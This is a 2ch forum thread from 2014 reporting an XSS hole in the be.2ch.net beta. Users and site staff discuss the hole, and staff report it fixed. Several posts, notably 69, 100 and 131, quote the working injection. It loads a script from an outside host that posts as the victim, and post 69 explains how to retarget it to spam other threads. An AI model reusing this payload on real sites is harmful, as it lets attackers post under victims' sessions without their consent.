【悲報】2ちゃんねるにXSSの脆弱性発見される

このエントリーをはてなブックマークに追加
1番組の途中ですがアフィサイトへの転載は禁止です

ソースこのスレか嫌儲のトップをブラウザで開く
http://maguro.2ch.net/poverty/
2番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:45:32.66 ID:c6+OdXRX0
3番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:46:24.79 ID:Yzc2AKHv0
あーほんまや更新したらなんか出た
4番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:48:17.43 ID:a+zfxi0O0
何これ?
5番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:49:31.13 ID:TyQPFBgE0
マジじゃねえか
6番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:49:31.93 ID:HmdisqV80
やばい起動しなくなった
7番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:50:39.07 ID:4NY0aOGO0
continueしても何もおきないんだが、
どこかになんか書き込んじゃってんの?
8番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:51:18.50 ID:ODjo94+B0
マジで?
これはひろゆきちゃんねるに移らないとまずいですよ!
9番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:51:45.25 ID:z34rdIEU0
実行したら逮捕な
新2chに移住したほうが良さそうだな
11番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:52:51.85 ID:4NY0aOGO0
ここに「>>1」って書き込んでんのか
http://maguro.2ch.net/test/read.cgi/poverty/1396691926/l50
12番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:53:29.93 ID:XshoNcst0
そんで実行されるJavaScriptの内容は?
13番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:53:45.69 ID:TyQPFBgE0
これはやく修正しないと
14番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:54:10.44 ID:dJ8mbaIO0
>>1
必死すぎワロタ
これはいかん
普通に犯罪予告とか書き込まされてしまうで
16番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:54:48.38 ID:4NY0aOGO0
新BEの登録やアイコン変更時に変なデータ送りつけるとXSSできるのかな
おいおいみんな初歩的なXSSをだな
Codemonkeyが弄った時にhtml無効処理が無くなってんかね
18番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:55:44.89 ID:YH9fEFl00
Firefoxとくに反応なし
19番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:55:45.49 ID:Kltvx9rwi
            , -‐-、
         _/: : : : : : ヽ、
         ∧: : ∨//77ァ: ; :;i! ハ从人ノヽ
       ∧7: : :∨///∧ : ;i!      ノリ,,
      ,.┴ァ;斗、: ∨//;∧: il!,,,,,,,,,,,,,,,,,,,_  K   なるほど、掲示板を乗っ取られたと・・・
      } くrイノノ;;;: ∧//;∧/j       7 .K   しかしかつてあなたはその掲示板とは無関係を主張したそうですね
        j / /,/,ィフ////////j 一 ''一- !, f    なら今回の件はリスクを負わずにリターンを得ていた天罰でしょう
      Y i '" r'7////////,ノ tァ  tァx !.\.    結論を言うと権利を譲渡したあとで何を言っても後の祭りですよ
.       |    }ンー=ニ二ニィ!!    {    f .!.    あなたは責任と一緒に権利まで丸投げしてしまったんです
      j   /         i 、   ´ ,、 /-'     悪いことは言わないので今からでも第二の人生を始めなさい
     jく、 k.          |ヽ  ̄ ̄ /      それでは相談料とコーヒー代でしめて5000万600円になります
     ∧;、`ヾ≧      , ィ ヽ、_____,/ト、
    /∨/7ゝイv'´`¨ニ=ニ7 1`‐-.,___ ,.."};八、_
    / ;厂////::ヽ;////////ヘ  大  ハ////7ァァュ、
    /::::j/////:::::::};////////∧ /Y::<ヽ///////////ハ
  /::::::{;////:::::::::j;'/////////∧/:::::∨////////////}
  ム;、:;///〈::::::::::::レ//////////∧:::::∧//////\////イ
  ∨ヽ;////∨:::://///////////∧∧//////777'////|     ,ィニ=、
  ∨//////∨ァ'///////////」 ////////////////|    /,.气. )
   `¨¨´ ̄`´ ∨////////   ,/////////////////|  // く/
          ∨,'////   //////////////////;i,ィミァ"
              Y;///   //////////////////  /
20番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:56:54.85 ID:lOMv4Nut0
アラート出た
これ結構やばいじゃん
21番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:02.36 ID:Z0iRys8E0
Do you want to continue?と聞いてくるから親切だった
危うく書き込むところだったわ
22番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:29.56 ID:ZqPhQ5o10
なんだこりゃ?
23番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:33.31 ID:AbyJJAV90
これヤバすぎるだろ
今警察がインターフォン鳴らしているんだが
やべえじゃんこれ
25番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:58:19.82 ID:1TyUz43e0
また(東日本)が何かしたの?
26番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:58:43.56 ID:QuAYkDEX0
おい、今すぐJimに報告しろ
このBEが立ててるスレ一覧誰か出して?
早いところ対策しないと犯罪予告とかやりだす奴が出るぞ
片山事件の再来だ
29番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:59:12.85 ID:STw0ox350
スクショよこせ
やばいこれ
悪用すれば冤罪の罪でゆうちゃんと同じ状態になる
32番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:02:57.36 ID:AbyJJAV90
今PCが爆発したんだが
これ書き込み内容変えるにはどこ変えればいい?
34番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:03:55.77 ID:2xp00bQb0 BE:237959656-2BP(1000)
sssp://img.2ch.net/ico/ テストしてみる
そりゃ2chのセキュリティなんて15年前から変わってないからな
脆弱性の1つや2つくらいあるだろ
>>33
読み込ませるスクリプトを改変する

でも>>1を見てそれがわからないなら無理だと思う
37番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:06:56.87 ID:UeDv1LZU0
chromeじゃ動かんけどソースみるとエスケープ処理されてないな
"><h1>さっさと報告しろ</h1>
39番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:08:03.03 ID:2xp00bQb0 BE:237959656-2BP(1000)
sssp://img.2ch.net/ico/ アホくさいなこれ
40番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:08:30.94 ID:SOIoIDQe0
どういうこと?
なんも起こらないけど
41番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:07.59 ID:tsaWOedO0
sussiweb.comってなんだよ
42番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:19.75 ID:UeDv1LZU0
ここに報告すればいいんじゃね
http://pele.bbspink.com/test/read.cgi/erobbs/1395197037/
43番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:30.07 ID:4NY0aOGO0
サニタイジングもしてないとか、何か前の開発者から変わってないかのようだね
44番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:30.16 ID:77tgnoHQ0
東日本さんほんとにやめてくださいよ!!
45番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:43.54 ID:km0Lz+rl0
工作すんな何も起こらないぞ
46番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:11:34.31 ID:6Wl76cGr0 BE:909128238-2BP(1000)

"><h1>beの画像を悪用して回避してるのか?</h1>
あちゃーcodemonkeyやっちゃったね
47番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:12:51.47 ID:D2w9aEY20
悪意のあるスクリプトでやられたらおしまいやん

この程度のものでドヤ顔してたひろゆき陣営・・・
48番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:13:10.68 ID:oFfuKCP/i
スマホが勝手に通信始めとる…
49番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:13:29.12 ID:Idamf/H30
ゆうちゃんがどっかの自治体に仕込んだやつか
よく分かんないけどこれ、
IPアドレスを書き込むように改造して東亜に貼れば、
頭のおかしなコテのIPアドレス割れるんじゃないの?
51番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:15:35.92 ID:98XLIEk10
52番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:15:46.35 ID:77tgnoHQ0
このスレ上げるとブラウザで見てる人が踏んじやう、ってことか
ああわかったぞ
beの画像の値に">を入れてるのか
http://be.2ch.net/status.php?ico=">にすることでXSSが可能になると
書き込みでのエスケープ処理はされてる
54番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:18.42 ID:XshoNcst0
親切な人が害のないスクリプトで警告してくれたのかな
55番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:30.11 ID:STw0ox350
>>52
というより怖いもの見たさのやつらだろ
56番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:44.10 ID:8bCRLKx70
運営が変わってもこのうっかり具合
57番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:56.74 ID:k2eB5+Pl0
このスレに仕込まれてるのはこれだな。beの画像の部分でサニタイズされていなくて、スクリプトが入ってる。
http://up.sussiweb.com/up/img/1200.js

>>11の通り。

ただ別スレに含まれると、たぶんあれっすね。
58番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:58.29 ID:D2w9aEY20
しばらく専ブラ以外で2chやらないほうがいい
アイコン有効にしてないと駄目なのか
60番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:19:29.87 ID:cKQs74Ng0
マジじゃねーか
つかこのロダぁゃιぃファイルばっかだな
よう見つけるわ
62番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:08.27 ID:3sW8BL1C0
親切な人っつーか東日本だろ
63番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:08.66 ID:k2eB5+Pl0
>>57を訂正でBeアイコンの表示部の問題だから、このスレでもありうるのかな。
64C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:20:37.97 ID:???0
I will fix this now.
65番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:41.72 ID:TLnG6Yap0 BE:445972832-2BP(3516)

読み込まれるスクリプト
up.sussiweb.com/up/img/1200.js

このスレに>>1と書き込む
http://maguro.2ch.net/test/read.cgi/poverty/1396691926/

カラコロの連中に知られるとまずいな…
66番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:53.88 ID:8b+2nWSd0
有能過ぎwwwww
67番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:21:47.73 ID:cKQs74Ng0
すげえ酉だな
68番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:21:57.33 ID:sz1mDZ3l0
Code猿きたやん早いな
「sssp://img.2ch.net/ico/」ってのはbeのアイコン表示に使われるから絶対読み込むじゃん?
ここにjavascript入れれるじゃん?
「sssp://img.2ch.net/ico/"><script>a=document.createElement("script");a.async=true;a.src="h"+"ttp://up.sussiweb.com/up/img/1200.js";
b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);</script>」
これで「ttp://up.sussiweb.com/up/img/1200.js」これ呼び出してるじゃん?
この中身見ると
「window.onload=function(){if(window.confirm('This is xss test. Do you want to continue?')){var a=new XMLHttpRequest,
b="submit=%8F%91%82%AB%8D%9E%82%DE&FROM=&mail=&MESSAGE=%3E%3E1&bbs=poverty&key=1396691926&time=1";a.open("POST","/test/bbs.cgi",!0);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length);
a.setRequestHeader("Connection","close");a.onreadystatechange=function(){4==a.readyState&&200==a.status&&a.responseText.match(/2ch_X:cookie/)&&
(b="subject=&FROM=&mail=&MESSAGE=%3E%3E1&bbs=poverty&time=1&
key=1396691926&yuki=akari&submit=%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE", a.send(b))};a.send(b)}};」
長いから改行
こうなってるじゃん?
これはアラート表示させて書き込みするスクリプトじゃん?
「key=1396691926」ここはスレのURLの最後の所じゃん?エポック秒っていうんだっけ?ここ変えればスレ変えれるじゃん?
「MESSAGE=%3E%3E1」ここURLデコードすると「>>1」これじゃん?
つまりmessage=を「%83J%83%89%83R%83%8d」にすればカラコロできるじゃん?
70番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:22:19.55 ID:z34rdIEU0
>>64
CodeMonkeyちゃんBE関連で忙しい中お疲れ様
東日本ってひろゆきの2chに関わってるけどいいのか
72番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:22:46.03 ID:MBr+uHNa0
>>64
よくやった
73番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:03.86 ID:BW5RSxnF0
普通に見れるじゃん
と思ったらもう直されたのか
74番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:15.30 ID:sz1mDZ3l0
>>64
gj
75番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:26.16 ID:2acjHzJh0
>>64
なんかよく分からんがとりあえず頑張れfight
76番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:31.23 ID:STw0ox350
>>64
you are greatly working!
77番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:36.49 ID:UeDv1LZU0
>>64
thank you so much
78番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:45.21 ID:EgvDRs0f0
あぶねーからころに改変される前で助かったか
79番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:00.02 ID:Kltvx9rwi
>>64
thank you codde
80番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:20.77 ID:A4GxBssz0
>>64
GJ
81番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:29.34 ID:jn+bWjbX0
初歩的過ぎるだろ、しっかりしろや運営
82番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:51.86 ID:WB14Rrpe0
対応が早すぎてなんか笑っちまうわ
83番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:06.14 ID:naQ6VYq+0
動き早いな
旧運営とは雲泥の差だ
つーかこれどうかするとbeのサイトにバックドア仕込めそうだなあ
早い対応でよかった
85番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:28.87 ID:BW5RSxnF0
てすと
86番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:32.48 ID:3sW8BL1C0
scでカラコロやればよかったんじゃね?
うわつまんね
せっかくjカス利用しようとしたのに
>>64
Thank you for your quick response.
対応早いな
何だよこの迅速さ
90番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:26:51.88 ID:FR3v32HG0 BE:327876567-2BP(1000)

うわ、俺やられまくってる・・・
91番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:26:54.64 ID:8OSEglBp0
他にも穴があって
明日以降ひろゆき陣営が攻撃してくるかもな
92番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:28.56 ID:3RSVWqaO0
>>87
まだビッカスがいるぞ
93番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:35.82 ID:Y4HsR/M+0
>>64
有能
94番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:42.58 ID:0DL+Yyol0
コード見たけど、別に犯罪予告とかを書き込まされてるわけではなさそう
XSSって何?
CIAの前身みたいな名前だな。
>>69
なるほど
97番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:29.22 ID:GI6heZYC0
>>64
so fast to fix
98番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:48.60 ID:77tgnoHQ0
>>69
最後まで解説しなくていいから(良心)
99番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:51.47 ID:STw0ox350
これ絶対scが爆撃準備してたろ
100番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:54.99 ID:ODjo94+B0 BE:445972832-2BP(3516)

<script>
a=document.createElement("script");a.async=true;a.src="h"+"ttp://example.com/GJ-CodeMonkey";b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);
</script>

be止めたかな?
東日本はよくこんなすぐ脆弱性見つけてくるなクラッカーかよ
自分もbeのサイトみた時これなんかに悪用できそうと思ったが
こりゃえらいこっちゃ、駐在さん呼ばな
103番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:31:31.85 ID:HXMym4VJ0
普通のブラウザでBEログインチェックしてたら
スクリプト実行してたw
>>101
XSSなんて基本中の基本だからな
それなりの知識があれば簡単に見つけられる
105番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:31:55.64 ID:sz1mDZ3l0
まあどっかの誰かが親切に無害なもんで教えてくれたからいいんじゃね
BE使うクローンのところは残ってるかもしれんけどね
106番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:32:11.63 ID:3sW8BL1C0
>>101
忍法帖導入のときにも脆弱性見つけてたはず
画像表示とか好き放題やってた
107番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:34:14.95 ID:BW5RSxnF0
firefoxでこのスレ書き込んだらこれ出たんだけど直ったの?
2回試しても出た
http://i.imgur.com/3CkFLYS.png
>>64
有能
XSS対策出来てなかったとか
メモ帳→開く→URL直入力で内容みれる。

if(window.confirm('This is xss test. Do you want to continue?'))

とかって書いてある。
111番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:35:42.48 ID:tsaWOedO0
ステマスレを憎む名誉嫌儲民の仕業
112番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:36:20.16 ID:naQ6VYq+0
>>46
なんかお前のbeを専ブラでクリックしたら「すぐに来る」とだけ表示された
113Code Monkey ★:2014/04/05(土) 20:36:37.31 ID:???0 BE:847328605-2BP(1000)

Hey guys!

Thanks for finding the bugs. That is why this is called a BETA test.

I will fix these immediately.
114Grape Ape ★:2014/04/05(土) 20:38:22.36 ID:???0
That is the Baker Street Irregulars. Always there to help.
115番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:38:26.28 ID:Kltvx9rwi
codemonkeyさん対応早いな。お疲れ様です。
117番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:39:05.03 ID:YH9fEFl00
はぇー
118番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:39:26.67 ID:JoHLSTRg0
>>114
Good job
119番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:40:09.10 ID:sz1mDZ3l0
code猿からのお言葉(超意訳)

おいおまえら
バグ見つけてくれてサンキューな。ベータテストってこんなもんだ。
また見つかったらすぐ修正すっからよ。よろしくな!
nihongo please
121番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:28.04 ID:Kltvx9rwi
>>114
                                  _,,,,,,,,,,,,,__,,
                                ィ'", ,,,,.......   `' 、
                                   i.F‐'゙    `'ー',. ;
                       - ‐ - 、    !|          `、;
                        -‐ヘ     、 ' 、     へ     へ  !
                      `ヽ、_丶     ' 、丶  {    ) / ″ !
                       彡ミ  \   丶  ' 、  (/    ノ
                   /       ヾ   Y′ ヽ.      /!
                    ̄/`y'Y´\ヽ―iヾ ノ  ノ /` ー ' `メ'
                     '>-- / `ー‐ '  }ィ'  、-'ヾ'''ヾ`"''','、、 ,
The KENMO are more like     `  /-、ノ    /|` ソ_"         `
                       ヽ      / |__ ; `゛゛ミ;ノリ人ノノヘ/リ
the Baker Street Irregulars.      `i、-- '´   |ソ}ミ: {
                         彡ミ ミ   }ミ:{   ⌒`   ⌒  /
There are bad guys everywhere.   (^ ) (^ ) ヽ             |
                         /        ミ ' 、   ( _ 人 _ ) ノ
                       l        ミ  \      /
                      l        ) ミ       イ
                        |       / ん  ミ       〈:
                      |    ノ丿     ミ
                       `、  八        L -―- 、
                         ` ^ ヽ、   //      \
122番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:30.08 ID:tdrYmMIN0
フヒヒ専ブラなら大丈夫なんでげしょ?><
123番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:35.57 ID:FR3v32HG0 BE:327876567-2BP(1000)

xssってなんなの?とりあえずキャンセル押せばいいのか?
124番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:37.66 ID:cPxSH0xM0
ポッポー!r⌒\                           /
    (´ ⌒`)\                        /
      ||  \   _____________/ /ヽ       /ヽ
      人   ...\ |____________/  / ヽ      / ヽ
パソコ (__)ン蛾  \| | !ノートン先生 ! /   /U ヽ___/  ヽ
ぶっ壊(__)れたお!.\!!!大激怒!!/   ../   U    :::::::::::U:
    (`д´#)       \!!!!!!/    ..// ___   \  :::::::::::|
  _| ̄ ̄||_)        \∧∧∧∧/      |  |   |     U ::::::::::
/旦|――||// /| カタカタ  < ぶ パ >     ...|U |   |      ::::::U::::|
| ̄ ̄ ̄ ̄ ̄| ̄| . |      < っ ソ >      | ├―-┤ U.....:::::::::::::::::::/
|_____|三|/      < 壊 コ >      .ヽ     .....:::::::::::::::::::::::<
────────────< れ ン >─────────────
_---―――――---_\ < た 蛾 >     プスプスプス・・・・・∬∬
 <   _,ノ , 、ヽ、_ ノ   ;;< !!!    >踏んじゃったよぉ _____
 (y○')`ヽ) ( ´(y○')   ;;;|/∨∨∨∨\     ∧_∧  ||\   \
  ⌒ /    ヽ⌒    /パソコン蛾ぶっ\  ( ;´Д`)  || | ̄ ̄
うわあ |~ ̄ ̄~.| ああ/壊れた!ディスプレ\┌(  つ/ ̄||/  ̄ ̄
ああ| |||! i: |||! !| |あ/イ蛾砕け散った!マウス \ヽ |二二二」二二二二二
あぁ| |||| !! !!||| :| ||/蛾チューチュー言いだした! \]_)  | |
あ  | |!!||l ll|| !!/ソコソ蛾爆発した!家までぶっ壊 \   /  |
ぁ   | ! || |/れた!WindowsXP蛾WindowsMeになっ\[__」
       /た!キーボード蛾外国まで吹っ飛んだ!!\
125番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:41.99 ID:BW5RSxnF0
>>115
naruhodo
126番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:42:10.99 ID:Ueta0vic0
俺のPCもさっきチラチラ出てて不安になったけどもう対策されたのか
有能だな
>>1
>>113
>>114

Good job !
128C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:42:47.78 ID:???0 BE:847328605-2BP(1000)

Here is what happened:

The programmers in Jim-san's office made the HTML pages for the new http://be.2ch.net.

I thought they had properly sanitized and verified everything. I guess I was wrong.

I have taken the new be.2ch.net beta offline for the moment.

I will fix it and properly sanitize and verify all input.

After I fix it, ill put it back online, then you guys can try to find some new XSS vulnerabilities.

Thanks!
129番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:43:59.56 ID:3Tn/T9sw0
>>113
thank you ;D
>>114
it is >>1`s outstanding job.
>>114
lol, Are you Sherlockian?
131C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:44:08.38 ID:???0 BE:847328605-2BP(1000)

Only one person was able to take advantage of the XSS vulnerability before I took the site offline.
This is the script they used:

<script>a=document.createElement("script");a.async=true;a.src="h"+"ttp://up.sussiweb.com/up/img/1200.js";
b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);</script>
132番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:44:56.34 ID:tsaWOedO0
>>123
セブンのステマが気に食わないならok
セブン好きならcancel
133番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:48:19.84 ID:sz1mDZ3l0
>>131
who did it?
134Grape Ape ★:2014/04/05(土) 20:49:02.42 ID:???0
>>130
From reading the news, people would think I am more like Moriarty.
However I enjoy the new Sherlock Holmes TV show on BBC.
135番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:49:16.18 ID:Kltvx9rwi
>>131
I think the man who did it is JEX or SassyH.
136番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:49:24.17 ID:8O15wgLf0 BE:445972832-2BP(3516)
137ノtasukeruyo:2014/04/05(土) 20:49:30.98 ID:afuX3GD70
WINDOS98のIE6でもXSSのダイアログが出たからいいえにしといた
138番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:50:14.33 ID:9PhxzHGb0
この早さ信頼出来る
139番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:50:24.73 ID:FkX1JeKj0
>>64
新運営陣優秀すぎてワロタ
140金太丸の助:2014/04/05(土) 20:50:42.87 ID:70FwjKvd0
ter
旧運営との対応の差wwwwwwwwwwwwwwwwwwww



有能
142番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:51:30.41 ID:wlCGcAwh0
ええな
>>65のスレには
まだレス増えてるけど いいの?
144番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:51:38.76 ID:8OYI2R7I0
旧BEにログインにしたまま使ってたauのガラケーで書こうとすると

ERROR:Beユーザー情報エラー。ログインしなおしてください(e)。
be2ch.net

って出て書けなくなった

誰かこれをコードモンキーに英語で伝えてくれ…
145番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:52:06.64 ID:ZuVfxpsC0
だれか訳してくれよ
高卒にも優しくしてくれ
146番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:53:05.12 ID:AvbqrkTg0
普通にContinueしちまったぜ…
147番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:01.00 ID:p62BLYmG0
>>64
thank you
we love you
今はまだXSSの脆弱性潰してるだけだから
>>1のスクリプトは対策されてないぞ
まあdat落ちしたらほぼ意味ないし対策しないのかもしれんが
149番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:38.98 ID:sz1mDZ3l0
>>134
SHERLOCK! I also saw. It was very interesting. I like Professor James Moriarty(Andrew Scott)
150番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:45.04 ID:E4/c8Md10
>>64
Thank you.
151番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:57.50 ID:o5OE1RJU0
アメリカ人て働き者なんだなー
152番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:59.41 ID:Y4HsR/M+0
153番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:55:39.28 ID:6oWRZbjs0
なんか踏んだらどこかのスレに書き込んじゃうっての数年前になかったっけ
名前欄にIP書き込まれてか
154番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:56:12.85 ID:afuX3GD70
まもなく、渦中のひろゆきがニコニコに生出演!!みんなでお別れの言葉を贈ろう
http://maguro.2ch.net/test/read.cgi/poverty/1396697926/
Announcing the beta version of BE Version 2.0 β★3
http://maguro.2ch.net/test/read.cgi/poverty/1396694889/l50
155番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:56:22.71 ID:PTVbFi+00
SEXの脆弱性っていい加減にしろヤリチン野郎
156番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:58:03.82 ID:55/rptDa0
クロスサイトスクリプティングだっけ
>>134
You are pleasant Moriarty.
thx a lot :)
158番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:00:59.93 ID:afuX3GD70
159番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:02.55 ID:cE0T7uyv0
住人も日に日にグローバルになっていくな
鎖国時代の2ちゃんとはなんだったのか
160番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:04.67 ID:Kltvx9rwi
>>134
Oh, I like older one and I like this too.
http://m.youtube.com/watch?v=BoPKNmo6F48

This is one of the best work of Hayao Miyazaki.
161番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:26.54 ID:PNleSCgA0
>>158
嫌儲のTOP絵初めて見た
162番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:05:21.02 ID:9mLvscv/0
30分くらいで修正か
163番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:07:29.57 ID:gTHf/52u0
マジかよ
ひろゆきー助けてくれー
164番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:11:36.32 ID:RRlU4ak00
JimさんとかCodeMonkeyさんとかはトリップの仕組みというか逆引きみたいなのできるの?
165番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:13:12.42 ID:8b+2nWSd0
>>143
自分で
>>1
って書いてる
166金太丸の助:2014/04/05(土) 21:13:49.26 ID:70FwjKvd0
http://qb7.2ch.net/logos/poverty/poverty-logo.jpg
これって誰が決めたの
167番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:15:12.66 ID:abUixHTH0
>>158の画像と
>>65のスレ http://maguro.2ch.net/test/read.cgi/poverty/1396691926/
にいまだに「>>1」が増えてるとこから見ると
古いブラウザだとブラウザの仕様でxssが回避できてないんじゃないか
対応早すぎ
169番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:16:49.08 ID:0fPXYbwZ0
なんかJIMさんの自作自演くさくない?
あまりにも対応がはやすぎるだろこれ・・・
いやまだ修正中だけど
>>169
まず、ジムとコードモンキーが別人だって知ってるか?
172番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:19:51.34 ID:0fPXYbwZ0
>>171
別人っていう証明できるの?
